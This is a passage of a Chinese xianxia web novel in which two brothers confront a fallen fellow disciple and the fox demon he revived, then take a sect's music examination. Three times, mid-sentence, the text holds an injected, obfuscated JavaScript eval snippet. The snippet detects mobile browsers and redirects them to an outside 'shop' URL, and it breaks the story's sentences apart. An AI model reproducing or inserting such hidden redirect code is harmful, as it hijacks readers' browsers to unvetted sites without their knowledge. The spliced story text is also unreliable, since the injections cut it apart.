“若非你们赶尽杀绝,我又怎么会变成这样?三年,他们整整捉拿了我三年……这三年来,只有阿音一直陪着我!只有她!” 也不知是想起什么痛苦的回忆,萧正卿眸光黯淡,看了阿音一眼,颓然道:“如果有的选,我也不想杀那么多百姓,但是我没办法!御魔幡只能唤起她的灵识,若是想要完全恢复,她就必须依靠吸收人的精气来修炼,直到她的修为能够担负得起御魔幡的力量,才算得上真正‘醒来’。” 公仪岭捋了捋他话中的意思,惊道:“也就是说,即便她现在能与人对话,归根结底其实还是一具妖身制成的傀儡罢了!” “傀儡又如何?”萧正卿低笑一声,“无论如何,我也想再见她一面。” 公仪岭哑然,心想:“爹娘不许门中弟子谈情说爱果然是有原因的,若是门中再出个情种,怕是又能给那些写话本子的人提供不少素材。” 公仪岚摇头,觉得他是被迷了心智了:“……你当真是疯了。” “我疯了,那还不是被你们逼的?那日三化殿上我被千夫所指,受众人唾骂的时候,没人关心过我的死活,也没有人相信我!三年来,你们云灵山有没有人找过我,希望我回去?” 公仪岚忍无可忍,沉着声道:“三化殿上,我何尝没有为你辩驳?无奈当时人证物证俱全,大家都只相信自己看到的。后来,我与阿岭也尝试私下找过你,可是一无所获。” 萧正卿冷笑了一声。 “少在这里惺惺作态说什么你们相信我。你以为我没有悄悄回去过吗?可是我回去看见了什么?” “我想要同你们告别,却只见门中弟子披麻戴孝给公仪文耀下葬!你们不妨想想你们当时说了什么?你们分明说的是:要是早知公仪正卿这般,文耀也不会死了!呵,难为我们这么多年情谊,说到底,也不过是当面一套背后一套罢了……” 公仪岭努力回忆着当时的场景,终于想起来这句话,一时竟不知该如何解释。 公仪岚皱眉道:“那日文耀死状惨烈,任谁都觉得你手段过于残忍了。只是,当时我们并不知道前因后果,是我们不明真相妄言了。” 萧正卿仰头大笑,脸上是斑斑泪痕:“那现在你来跟我说什么道义,当年你们叫我守着读的那些书上是如何写的道义?可有人那样对我?!” “我的剑断了,早就没有了……你叫我还谈什么道义?” 公仪岚一语不发。公仪岭则是凝视着他的佩剑,轻声道:“正卿,剑断了对于剑修之人来说,确实很难继续修习,但是你要是换一把剑顶着用,或许等十年二十年,又能成一把灵剑。” “你说得轻松!” 阿音滚下一滴泪,竭力说道:“你们又何曾知道,当时公仪文耀是如何将他踩在脚下,他的指骨又是如何碎裂?你们以为,他是为何不继续用剑?” “那是因为,他至今右手都落下残疾,再也用不了剑了!” “什么?!” 听到阿音这话,公仪岚大惊,下意识想上前一步查看萧正卿的右手,被他一拂袖撇开。 “大哥,别——!” 公仪岭一瞥眼瞧见阿音唇角勾笑,率先意识到不对,想将他喊回来。 谁料前一秒还哭得双目通红的阿音一见公仪岚分神,撤走了防止她变回原身逃脱的诀,立马就咻的一下化成了狐形挣脱出了归云剑。 12. 沉冤犹未雪 失约残灵剑(六) 公仪岭暗骂一声。 这死狐狸果然会演戏!他们根本不能信她的鬼话,差点又上了当。 等公仪岚反应回来,想重新念诀控制住她,狐妖已经逃出了几米远。 眼见着她就要跑出洞口了,公仪岭顾不得其他,口中默念了一句,对着归云剑道:“去!”归云剑便脱手直直刺向了那狐妖。 一剑穿心,但是穿的不是阿音的心。 公仪岭只见一道黑影与他擦身而过,速度快到他压根来不及阻止,随后归云剑就没入了萧正卿的身子。 “正卿!” 公仪岚惊呼出声,扑过去扶住他倒下的身子。 “公仪正卿!” 公仪岭也是难以置信地望着眼前口吐鲜血的人,他无论如何也没想到,公仪正卿竟情深至此,选择为那只狐狸挡剑。 就见萧正卿露出了一个苍白的笑容,努力往阿音逃走的方向张望去,直到见她安然离开,终于支撑不住,卸了力往地上倒去。 公仪岭远远地看着那只狐妖,本以为她会停下回头看看,却没想到狐妖只是略微地停顿了片刻,便头也不回逃走了。 见此情形,公仪岚眉目沉沉,微不可查地握了握手中的彻云剑。 “……好一只冷心冷肺的狐狸……正卿,事到如今,你还不明白吗?你是被利用了啊!” 公仪岭长叹一声,手刚触摸上他前面的衣物,就染上了一大片血。 他心中清楚,刚才这一剑,自己究竟用了多少灵力,哪怕是三年前公仪正卿的修为,也绝不可能被这一剑刺伤后,还能有一线生机。 萧正卿口中血流不止,扯动着唇角,艰难开口:“我知道……但除了她,没人需要我……” 或许,她根本没那么喜欢你。 公仪岭在心中默然想着,张了张嘴,终究还没忍心把这句话说出口。 见萧正卿缓缓合上了眼睛,公仪岭低声道:“下辈子,你可别再被蒙蔽了。”随后,他念起了往生咒。 公仪岚双手颤抖,将他的尸身放平在地上,面色很是难看。 公仪岭极少见到大哥如此生气的模样,眼下这两人一死一逃,公仪岭也拿不准主意下一步怎么说,正欲开口问问,就听见公仪岚在旁冷厉道:“阿岭,这狐妖既是御魔幡所化,又心计颇深,留下必然是个祸患,今夜,我们必杀此妖孽。” 这个提议,公仪岭再赞成不过,当即一点头:“好!” 阿音还活着的时候,修为就不高,死后也是用歪门邪道增进的法术,要是跟他们两人对上,根本毫无胜算。何况,有了寻妖罗盘的指引,只要阿音逃不出这山头,他们二人想要追上她只是时间问题。 两人沿着崎岖的山路一路向上,公仪岭背着萧正卿的尸身满头大汗,问道:“大哥,她往山上跑有什么用,跑到山顶不还是死路一条。” 公仪岚紧盯手中的罗盘,罗盘指引的方向的确是往山上走,就道:“刚才跟他们过招的地方只是半山腰处的一个潭水洞,可能,狐妖的住处是在山顶。” 公仪岭意外:“她逃到山顶,难道是因为住处还有别的小妖能帮她?不该啊……” 公仪岚思忖了一下,也觉得不太可能:“我看没有,正卿不是说他们二人一直相依为命吗?何况,我也没察觉到这山中有其他妖物的气息。” “哎!” 话音刚落,公仪岭在前面就被一堵空气墙震得后退两步。 公仪岚连忙伸手扶了他一把。随后,他也试探着触碰面前的东西,毫不意外地被弹开。 公仪岭低头,看着周围山壁上画着的奇怪符号,马上明白了:“是结界。” 公仪岚挥剑出手,几道剑气打过去,结界却纹丝不动。 “看来她早就知道我们过不去,笃定我们破不开这结界,才往山上逃跑。” 公仪岭看了看被他放在地上的萧正卿,颇为无奈:“看来这结界,就是正卿的手笔了,为了护住阿音,他还真是煞费苦心。” 不过,这些符号,他怎么看着如此眼熟呢? 公仪岭摸着下巴琢磨了一阵,忍不住快步走到那些山壁旁边,伸手仔仔细细触摸着那些奇怪的符号纹路,这一摸,顿时感到手上一阵黏腻。 他轻轻闻了闻指尖上的气味,便闻到一丝淡淡的血腥气。 这气味打开了他遥远的回忆,公仪岭脑中灵光一闪,忽而想起之前与萧正卿一同被困在阵法里的场景,心中有了七八分数,回头说道:“大哥,这结界是以血为媒的。” “以血为媒,看样子也得用血打开了。” 公仪岚说着,就往自己手上割了个口子,试了几个破结界的法子。 结果,却没什么用处。 公仪岭以手作刀,割开了自己的掌心:“这结界,和我当日与正卿困在围猎场时候遇到的那个阵法结界十分相似,只不过,那个结界里面的人出不来,外面的人却可以进去,与现在这个正好相反。” 说起来,公仪岭能对抱元门的阵法有些研究,还真是因为那日围猎被困,回去以后越想越觉得输得憋屈,这才起了学习的心思。就那几日,连公仪拓都觉得太阳是打西边出来了,当即欣慰地去藏书阁给他寻了不少书来看。 公仪岚就见他把淌着血的手掌往山壁上抹去,在不同地方涂涂改改了一番,怕他看不清改错,托起了掌心焰,为他照明。 公仪岭借着微弱的火光仔仔细细看了看,确定自己没改错,这才添上了最后一笔。 这一笔添完,那结界果真就消失了。 公仪岭颇为得意,对着背上的萧正卿就道:“正卿师弟,看来还是师兄我更胜一筹啊……” 公仪岚没有片刻停留,立马上了剑朝山上赶去,顺着罗盘御剑一路飞,直到他们抵达了一处黑黢黢的洞口。 正如公仪岚所想,阿音果真是躲进了自己的老窝。 公仪岭凝望着这漆黑的山洞,轻声叹道:“还真是只残留了些灵识,智商不像正常狐狸,大哥你看,她这跟作茧自缚有什么区别?” 公仪岚嘘声叫他安静,贴在洞口石壁往里听动静。 公仪岭从地上摸了一块石头,比划了下:“这洞估计深得很,也许正卿会设机关,要不要丢块石头过去看看?” 见公仪岚点了点头,他手中石头跟打水漂似的往里面飞去,“哒哒”几声落了地。 无事发生。 公仪岚了然:“看样子正卿是怕机关误伤了她,才没在两个人住的地方设防。” 公仪岭一张手,归云剑就飞进了他手中:“大哥,时候不早了,我们左右包抄、速战速决吧。” 策略定下,两人对视一眼,执剑进了山洞。 洞中伸手不见五指,一片漆黑,直到两人快走到正中央,空间才开阔起来,空气中还传来了阵阵奇香。 里面灯火通明,那狐妖的身影也显露无疑。 公仪岭本以为洞中就阿音一人,谁知里面的场景却令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429880|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他震惊不已。 洞中各色家具一应俱全,甚至能用奢华来形容,连桌上盛着水果的盏都是用金子制成,缀了珠宝镶嵌。 而正中心则是一张极大的软榻,榻上情形,怎是香艳一词能够形容得了的。 按照云灵山弟子的记录,只说了他们杀了十余个人,册子上却没提到他们还绑了这么多人安置在洞府里,看来这几日,城中应该又多了不少失踪人口,也不知道公仪正卿从哪得来的这些金银器物。 就见榻旁随意丢了几个男尸在地上,一个个都是衣衫不整,死状惨烈。榻上狐妖正与一人难舍难分,压根没注意到远处两人已经悄无声息进来。 公仪岭冷冷开口:“你当真是对得起他。” 阿音猛然睁开眼,将身上已经被吸干了精气的男子推到一旁,撩了撩滑落的衣领,半支起身子循声望去,勾唇笑道:“来得还真是快啊。” “你以为你逃得掉?” 公仪岭懒得同她废话,当即手执归云在空中挥出几道剑气,就听见“轰”得一声巨响,竟是直接将她的床榻劈成了两半。 然而阿音速度也是极快,那剑气根本没能伤到她,轻轻巧巧翻身落在了床榻旁边的桌案上。 “吃什么精气啊,吃点好的吧你!”公仪岭大喊一声,提剑就上,“我给你再整点醋鱼呗!” 话音刚落,公仪岭就看见狐妖怨恨的眼神,她尖声骂道:“原来是你!这破鱼是你做的?恶心!” “你说这话我就不爱听了,好说之前你还吃过几次,怎么还翻脸不认人?”公仪岭呸道,“没良心的东西,要没我钓上来的鱼,你当时能被正卿养得这么好?” 阿音似乎是回忆起来了那可怕的腥味,脸色看起来阴沉无比:“当时要不是看在他辛苦带来的面子上,我毛掉光了也不吃这玩意!” 公仪岭闻言,怒极反笑:“鄙人不才,做的其他菜品都有大师水准,唯有这醋鱼,尚在改良中。” “呸!” 阿音满是讥讽,连装都不装了:“这鱼能被做成这样,还真是白死了。” 说着掌心一翻,一道红光直冲公仪岭而来。公仪岭一收剑,剑身挡住了她的术法,法术与剑身相撞的瞬间,竟是发出一声巨响,震得公仪岭都身形微晃,心中诧异。 公仪岚见她这般,顿时觉得不对:“不好,她变得比一开始更厉害了些。” 公仪岭目光落在地上那些尸身:“难怪方才她着急回来,看来是想拖延点时间增进修为,好对付我们。” 然而,阿音没给他们商量对策的时间,接连就打过去几道术法,道道直要人性命,十分狠厉。 公仪岚手中彻云瞬间腾起灵力,沉声道:“阿岭,一起上!” 阿音见他们步履如风贴着石壁,三两步直冲她来,当即掀翻了桌案蹬腿一踢,那桌子承受不了这么大的妖力,在半空中爆裂开来,各自朝着他们二人飞去。 说时迟那时快,公仪岭自石壁跃起,在那桌案处足尖轻点空中飞来的半张桌案,凌空落在了阿音面前。刹那间身影冲出,手中剑光如影,朝她挥去。 “找死!” 阿音冷哼一声,转身避开后,身后已经露出一条巨大狐尾朝他迎面打去。 公仪岭没料到此法,抬手就挡,被她击得且战且退。 眼看着狐尾就要变向往公仪岭的脖颈间勒去,公仪岚脸色一变,彻云剑脱手飞出,与狐尾擦身而过打断了她的攻击,死死钉在石壁上。 14. 乐动太一池 倏然一回曲(一) 此话一出,大殿内顿时诧异声四起。 “什么情况?以前也没有过加试项啊?” “搞什么啊,我们可都没准备过啊!” 公仪岭转头就道:“这是什么路数?爹娘可从没说过这回事。以后规则不会也都要改了吧?” 齐元白也是不解,只能道:“先观望。” 就听见上头一声清咳,殿内霎时安静下来。旁边的藏元长老开口道:“大家不必太过担心,本次加试项目乃是众长老一致商议出来的,至于往后是否加进惯例,还有待商榷。” 即便藏元长老如此说,下面的弟子们脸上依旧忧虑。这个突如其来的加试,让所有人毫无准备,谁知道老一辈的人又想出了什么新点子折腾他们。 再者,这也会影响到仙考的名次,大家都不愿看见自己准备了大半年折在了这个新项目上,丢了自己和宗门的脸面。 “罢了,想来也不过是比试之类的的项目,有何可惧?”公仪岭笑着,顺手就搭在了齐元白的肩上,“到时候顺你几道符箓,定然打得他们片甲不留!哈哈哈!” “……” 齐元白默默翻了个白眼,将怀中的符纸往深处藏了藏。 等教诲结束,众人都自三化殿散去,去门口的榜单前看比试安排的时候,公仪岭却瞧见,今年竟是连这比试环节都与以往有所不同。 往年的乐艺考试,都是安排在第二顺位考的,可这榜单上赫然写着今年乐考是第一场考核。 公仪岭扭头问道:“大哥,怎么连比试环节也变了?” 公仪岚凝神看着榜单,思量了半天也没得出个所以然,对他摇了摇头后,一瞥眼看见侧边站着的司月吟,立刻转而去问这位:“司姑娘,将乐艺考试提前,这是为何?” 司月吟闻言看了他一眼,指了指榜上的地点,只淡声道:“后日去太一池就知道了。” 公仪岭默然无语:“怎么现在临时修改规则,都不通知参赛选手吗?” 只是公仪岭不知道,这还真不是司月吟故意藏着不说。 她虽是长老弟子,却一心修习,从未参加过门内仙考大会,更不用提长辈们讨论题目的时候,根本不会告诉她这件事情。故而现在,司月吟年纪与他们一般大,在这件事情上,却也是头一回经历。 “考核是长老们全权安排的,我也并不知情。”司月吟如实道。 榜单旁边的其他弟子又是一阵诧异,七嘴八舌讨论了半天也没得到个结论。 公仪岚有些不解,但还是极知礼地对司月吟施了一礼:“既如此,那我们就先回房内准备了。” 司月吟见他这般,倒也露出了几分笑容,客气道:“你们的寝房在东南边,莫要走错,到了那边就会有弟子带你们去。” 公仪岭忙不迭道:“多谢多谢。” 在三化殿中他早就站的疲累,此刻更是恨不能赶紧回房休息。 至于乐考形式?到时候再说,船到桥头自然直嘛。 其他弟子听见司月吟这般一说,也是悻悻散去。 公仪岭他们三人来到东南边,果然看见迎面过来了几位仙侍接待,将他们各自带回寝房。 公仪岭关上房门后,便扑进了床中,赶了几日路的疲倦席卷而来,转瞬间就已经酣然入睡。 两个时辰过去,夜幕降临。 他们云灵山和太微山的弟子们所住的院子里,此刻也是热闹非凡,所有人都热火朝天地往几个支起来的树杈子上狂扇火焰,看这架势,比参加仙考都热情百倍。 没过多久,空气中便散满阵阵香气,透过了窗户进入了公仪岭的鼻子。 众人就见那原本紧闭的房门“砰”一下打开,而公仪岭顶着一头睡得凌乱的长发出了门,大喊道:“谁烤的鸡啊?这么香!” 齐元白指着门口的人,乐道:“看,我就说吧,刚烤上阿岭指定就醒了,都不用去叫他的。” 旁边正吃得满嘴流油的几位弟子一抹嘴,啧啧称赞:“齐兄果真料事如神。” “元白你烤上鸡了都不叫我,当真是不够意思。” 齐元白拎着一根木串,凑到他身边:“阿岭你莫不是睡糊涂了,连烤鸡还是烤兔子的味道都分不清了?岚兄说你赶路辛劳,定然是累了,这才没叫你。” 公仪岭扫了一眼他手上拿着的串,道:“你烤鸡和烤兔子的手法都一样,闻不出来可不是我的问题。” “尝尝啊,尝尝。”齐元白将手里的烤串递给他,“咱们几个趁你睡觉刚从山里打的,新鲜得很!” 说归说,公仪岭还是很诚实地接过了他手中的烤串,猛吃一口在嘴里嚼了嚼,还不忘含糊地对其他人道:“下次再让你们尝尝我烤兔子的手艺,保准比齐元白好吃百倍!” 齐元白见他专心致志啃着兔腿的样子,笑道:“就听你吹吧。” 公仪岚把打来的溪水递他:“阿岭,你吃慢点,可别噎住了。” 风卷残云般吃完手上的兔腿,公仪岭颇有些意犹未尽,将剩下的肉也烤了吃。 这院中住的皆是太微山和云灵山的弟子,许多与他们熟识的弟子们早已加入了进去,而那些新弟子们一开始还犹犹豫豫有些放不开,等众人高高兴兴烤了半个时辰后,两边的人早就打成了一片,开始称兄道弟了起来。 于是,等司月吟到他们院里想挨个敲门通知点事情的时候,就看见大晚上的庭院里火光冲天还冒着滚滚热烟,惊诧地以为是着火了,匆忙回头想去找水灭火。 然而,她还没走开两步,就闻到风里飘着阵阵肉香,立刻就猜到了始作俑者,怒气冲冲进了门。 也不知是哪家的弟子,晃神间瞧见院门里进来了个美若天仙的姑娘,当即喊了一嗓子:“这是哪家的仙女姐姐?好生漂亮!” 公仪岭与齐元白皆被这一声引了过去,定睛一看,正是白日里打了照面的司月吟。 齐元白立刻整了整衣襟,把自己收拾出了一番人样,方才上前道:“司姑娘大晚上过来,可是有什么要紧的事?” 旁边公仪岭则完全没在意这个,伸着沾了油水的手,热情地递了个兔腿过去:“来都来了,司姑娘要不也尝尝?” 哪怕司月吟不怎么出面,也知道面前这两人,从前在抱元门就惹出诸多事情。 她的目光在两人身上来回停留了一番,最终还是对公仪岭说道:“公仪岭,抱元门内禁止生火烧烤,按照从前的惯例,你该沿着山路跑一圈,算是小惩大诫。” 见他们抱元门的人又将始作俑者认成了自己,公仪岭立马收回了用来拉近关系的兔腿,狠狠当着她的面咬了一口,又对着齐元白比了个“五”的手势。 这手势的含义,自然是代表五张符箓。 齐元白果断点头。五张符箓换公仪岭替他受罚,算得一笔好买卖。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429882|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看着这两人的小动作,公仪岚忍不住扶额,极为迅速地出手,夺下了公仪岭举着的兔腿。 “司姑娘,明日乐考在即,现在体罚多有不便,不如等我回去亲自罚他,这事情就当过去了吧,院子里的物什,我们稍后就会收好。” 司月吟倒也不是想真罚,不过是顺口用规矩警告了他们一番,叫他们不要惹是生非罢了。听到公仪岚语气温和地打了个圆场,便也就顺着台阶下了:“如此,那我就先不追究此事了。” 她既是抱元门的人,此时特意过来,想必应该是有事要说。公仪岚如此思虑完,问她:“不知司姑娘特意过来,所为何事?” 果然,司月吟点头道:“我前来正是要告知诸位关于乐考一事,既然大家都在,倒也省得我挨个通知了。” 公仪岚颔首:“请讲。” 司月吟也不废话,掌心摊开,唤出了一把阮琴,随意找了块石头坐着,抬手弹了一曲。 公仪岭即便平日里常常偷懒,不过六艺还是学得相当不错的。虽然他习惯考试的时候拉一拉二胡就应付过去,但对各式各样的曲谱依旧门清儿。可刚才司月吟弹的曲子他却从未听过,公仪岭一开始还以为是自己疏于练习的原因,接过四下看了一圈,发现周围弟子们也是一脸茫然。 一曲终了,公仪岚也是不解:“司姑娘,这是何意?” “新编的曲子。”司月吟说着收起了手中的阮琴,“是明日乐考的内容。” 众人皆是不敢置信:“不是吧——” “又换考纲?” “临到考前了,还整什么花样?我看长老他们就是故意为难我们……” 齐元白问道:“司姑娘,你是如何得知的?” 公仪岭也是疑惑着这个问题,按白日里说的司月吟也不知考核内容,这会儿怎么又临时弹了首曲子,同他们说? 司月吟摇头道:“我不参与六艺考试,只参加最后的加试,不会影响到你们的名次。至于这曲子,是长老们叫我三个时辰里学会的。” 这话说完,难免就有些不满的声音出来:“我道怎么突然多了个加试,怕不是专门因为司姑娘设的……” “就是啊,这样一换,之前准备的曲子都用不上了。” 公仪岚刚想开口叫他们不要乱说话,司月吟就淡声解释道:“三位长老设下加试,自有他们的用意,至于乐考新曲,大概是为了考考大家的极限学习能力,还请诸位莫要胡乱揣测。” “既如此,那就多谢姑娘特意前来告知了。”公仪岚道。 她笑道:“不必谢我,本应如此。” 司月吟走后,大家就食不知味,开始头痛起乐艺考核来。一群人都没了兴致烤肉,纷纷回房练习起来,有几处没听清的、忘了谱的,还得全靠几个人按回忆拼拼凑凑,勉强弹了出来,一时间院子里弹琴的弹琴,吹笛子的吹笛子,很是聒噪。 公仪岭一边专心致志地帮大哥收了炭火盆和架子,一边还不忘跟齐元白说道:“别忘了五张符箓啊,我有用的。” 齐元白无言望天:“你这不是没被罚吗,怎么还要?” 公仪岭笑道:“大哥这不是替我说了好话,才叫她放我一马?这自然也算是代你受过了。说起来,你还记得她方才的曲子吧?” 齐元白道:“自然是记得的,想来回去再试试,明日应该能凑合应付过去,至于弹得好不好另说。” 15. 乐动太一池 倏然一回曲(二) 临时考题一出,抱元门每个院子里,都依稀能听到不同器乐的声音,整整闹了一晚上。 得亏公仪岭下午回来倒头就睡,即便熬了一个通宵,第二日倒也精神尚可。 他刚出房门,就看见顶了一双熊猫眼的齐元白正在院门口等他,而其余弟子也都跟霜打了的茄子似得无精打采,个个眼底下一片淤青,一看就是一宿没睡。 公仪岭朝他们一招手:“早啊,早啊。” 齐元白见他那一副朝气蓬勃、神采奕奕的样子,顿时气不打一处来。 “你之前是睡得美了,可就是苦了我们,刚在山里忙活半天打了几只兔子,吃完想休息休息都不能。” 公仪岭安慰他:“咱们乐考完就能歇两日,熬过今日也就好了。” 见人都到齐,门口等候了许久的仙侍道:“诸位,请随我来吧。” 太一池位于三化殿东边的半山腰处,公仪岭随仙侍一路向下,不多时,听到了哗哗水声,立刻想起太一池正是由仙山瀑布汇集而成。 一行人又沿着小路蜿蜒曲折地走了许久,才见得那太一池全貌。 其广阔的水面上仙气缭绕,水汽凝成了白雾环抱整个池面,池水流光溢彩清澈见底,宛如一面倒扣在山中的巨大明镜一般,众人还能瞧见里面游弋着不少五色锦鲤,甚是好看。 又往旁边一瞧,见池边安置了不少坐席,已经有各家的门生在各自位子上坐定,等着坐在首席的三位长老宣布考核规则。 公仪岭对这考场环境大为满意:“大哥,想不到今年乐考竟整得如此隆重,看来三位长老的品味有所提升嘛。” 承悦四下张望,目不暇接,长叹道:“早说有这好地方,他们也不早些安排到这边考核。” 公仪岚也是第一次见到太一池全貌。往年他的心思都放在考核上,哪有时间在抱元门四处参观?当下赞道:“确实不错。” 仙侍将他们分别带到各自的席位,众人落座后,也是凝神开始等待,脑中默默回忆着曲谱。 公仪岭正分神想着晚间食谱,全然不知身旁已经座无虚席,所有弟子都已经到场了。 就听上面一位仙侍手持卷轴,开始朗声念起了考核规则。 才听了没两句,齐元白便喃喃说道:“我道是改成什么了,原来也没什么不同嘛。” 公仪岭笑道:“一个个排着队奏乐给他听,听个百八十遍的,也不嫌听腻。” “按照他们说的顺序,我们云灵山还是排在末几位的,怕是有得好等了。”公仪岚微微叹气。 等了良久,那台上仙侍终于念毕规则,敲响了手里的锣,随后,高座上藏元长老沉声说了句:“开始吧。” 话音刚落,六弦阁的第一位弟子就已经起身往高台上去了。 琴声刚起,不过弹了小段曲子,公仪岭心中就已经有了判断:“不愧是音修宗门出来的,弹起琴来果然比其他人强上许多。” 公仪岚道:“这位是六弦阁宗主的旁支血亲,是个名唤作纪丞的弟子,在往年也算是乐考这一项的翘楚了。” 齐元白听完却笑道:“他也算厉害的了,只不过,还是不及六弦阁的那一位。” 齐元白口中所说之人,那名气也是响当当的,饶是公仪岭这样足不出户的,也知道是哪一位,甚至以前还跟她打过照面。 此人名叫纪银灵,是六弦阁内为数不多的一位女弟子,近几年乐考这一项的魁首,都是由她拿下。 可惜这女子虽然琴技出众,却是个生人勿近的性子。偶有几次,公仪岭遇上她后,礼貌地问候了一番,她脸上却是连个表情都没有,很是无趣。 上一次抱元门仙考,他在溪边刚生起了火,打算把钓上来的鱼烤了吃的时候,正巧遇到了想找个清净地练琴的纪银灵。 公仪岭正忙着将烤鱼翻面,余光就见一人背着一把古琴在对岸,两个人当时都仔细一辨认,才认出来对方是谁,隔着一条小溪大眼瞪小眼了一番,最终还是公仪岭打破了这尴尬的局面:“你怎么来这儿了?” 纪银灵表情生硬,像是完全没想到公仪岭在这里,于是反问他:“你怎么会在这里?” 公仪岭理所当然道:“找地方钓鱼,这里人迹罕至,清净偏僻,肯定没人来打扰我。” 纪银灵也道:“我找地方练琴,这里人迹罕至,清净偏僻,肯定没人来打扰我。” 于是两人就这么隔着条小溪,烤鱼归烤鱼,练琴归练琴,等鱼烤好了,公仪岭还十分热心地丢了一条到对岸去。 那纪银灵一看就是个身手不凡的,当场就把那鱼当暗器截了下来,清清冷冷地对他道:“多谢。” 除此以外两个人就再无其他交集了。 公仪岭半撑着头,看见那女人拿着古琴起身朝高台走去,对着台上的长老颔首行礼后,将琴放好自旁边一坐,双手就已经抚在了琴弦上。 “听了这么多杂七杂八的,可算是能‘如听仙乐耳暂明’了。”齐元白感慨道,坐直了身子准备认真听。 公仪岚轻轻拍了拍公仪岭的肩膀,令他坐正,随后道:“阿岭,纪姑娘的琴技是一等一的好,你也好好听听,多多受益。” 公仪岭经他这么一拍,顿时不敢再坐没坐样,连忙端了端身子,点头笑道:“大哥,我肯定细细品鉴。” 那边高台上纪银灵已经摆好了古琴,等旁边仙侍敲响开考的钟以后,开始奏起曲子来。 她指节弯曲,将琴弦勾起。顿时,那悠扬清越的琴声,穿过了白茫茫的一片雾气,传到了众人耳中。 手上琴弦一扫,又如轻云出岫,呈高阔明澈之势。众人皆是不由自主闭上双目,仿若一脚踏进世外桃源,万物都在琴声流动中变得生机勃勃,灵动婉转起来。 公仪岭虽自诩在乐器上颇有造诣,不过听完纪银灵弹的曲子以后,还是觉得她比自己技高一筹。 至少自己的乐器奏起乐曲来,可不会有这么婉转清丽的音律出来。 一曲罢了,众人无一不交口称赞道:“弹得好啊……” “不愧是六弦阁首徒!我看这音律水平,怕是无人能出其右啊。” 听着身旁众人的赞叹,公仪岭也点头,一本正经地对齐元白说道:“确实不错,元白你可好好跟人学着些。” 齐元白刚想夸出口的话被他硬生生截断,张嘴半天也不知道该说什么,末了郁闷道:“……你当谁都跟你似得,一开始学的时候天天拿着把二胡在院里拉《二泉映月》?” “齐兄慎言,我这乐器可难学得很呐!再说了,你也不能光说我一个人,旁边这不是还有承悦吹的唢呐助兴吗?”公仪岭肃然道。 “……” 他身后的承悦无端被提及,低声抗议道:“说什么呢,我这可是百乐之王!” 齐元白沉默片刻,真诚地问承悦道:“说起来,我真的很好奇,为什么承悦你会选这个乐器来着……” 毕竟台下这么一片人望过去,抱着琵琶的抱琵琶,扛着古琴的扛古琴,图轻便的个个腰间插了一把笛子,哪个不是仙人之姿?谁也不像承悦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429883|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般腰间插了个唢呐来着。 “哦,这个啊,”承悦很是和善,“还不是因为师兄一开始拉起来跟锯木头似得吵的不行,我就只能出此下策把他的声音盖过去了。” 天上的太阳东升西落,其他宗门的人一个个上去演奏,又一个个下来。 每个演奏完的宗门都排到了后面去,还在候场的宗门则都挪到了前排。如此循环往复,同一只曲子听了没有千遍也有百遍。 公仪岭不由怀念,之前云灵山抽到靠前位次的时候,运气是多么好。 他在心中长叹一声,开始理解起了之前每次排在末位的人为什么都焦急地不行了。 公仪岚看出他坐立难安,宽慰道:“再等等吧。排在后面也有排在后面的好处,多听听也就熟练了。” 能不熟练吗?听了这么多遍谱子,他都快倒背如流了。 公仪岭想着,顺手就扯了扯琴弓,无意间竟然拉出声来。 众人只听见“嘎”地一声,纷纷转过头看是谁这么大胆。 这可是仙考大会!这可是正式乐考!明文规定了不准闹出动静,出了声音就得取消考核成绩,谁会如此大胆,拿自己的前途开玩笑? 不过,等众人转过头看清楚那人面容,顿时也了然:哦,这位啊,那这位确实是个能拿自己前途开玩笑的主儿…… 公仪岭也没想到如此,面色一变,手上动作僵在了那里,片刻后,放下二胡尴尬地笑了一声,连连摆手,讪讪道:“啊……哈哈……这、这个……是个意外!意外……” 不过,他手中乐器是多么响亮?在大家安安静静听曲的时候出这一声,像是尖叫声划破夜空,静室里点了炮仗,顿时打断了台上正在演奏的曲子。 台上那人停了拨动琴弦的手,看向他的目光颇为恼怒。 感受到这四面八方朝他射过来的不怎么友善的目光,公仪岭心中暗叫不好,大气也没敢出。 思绪被打断的藏元长老也在这时开口,语气也十分不满:“台上考核之时,台下弟子不得使用乐器,这一条规则,公仪岭你可知道?” 公仪岭一脸茫然。 公仪岚见情况不对,连忙起身:“长老,阿岭无心之失,并非刻意破坏。” 那位台上正在考核的弟子也站了起身,冷冷瞥了一眼公仪岚,愤怒不已:“你一句无心之失倒是轻飘飘揭过,可公仪岭他白费的是我一年的成果!” 公仪岭抬眼一看,认出上面的是青花谷的人。 只因他们青花谷人人都是一身青色的蛇纹衣服,脖上腰间都配了叮呤咣啷的银饰,不论走到何处,都能听到清脆悦耳的银铃声,好辨认得很。 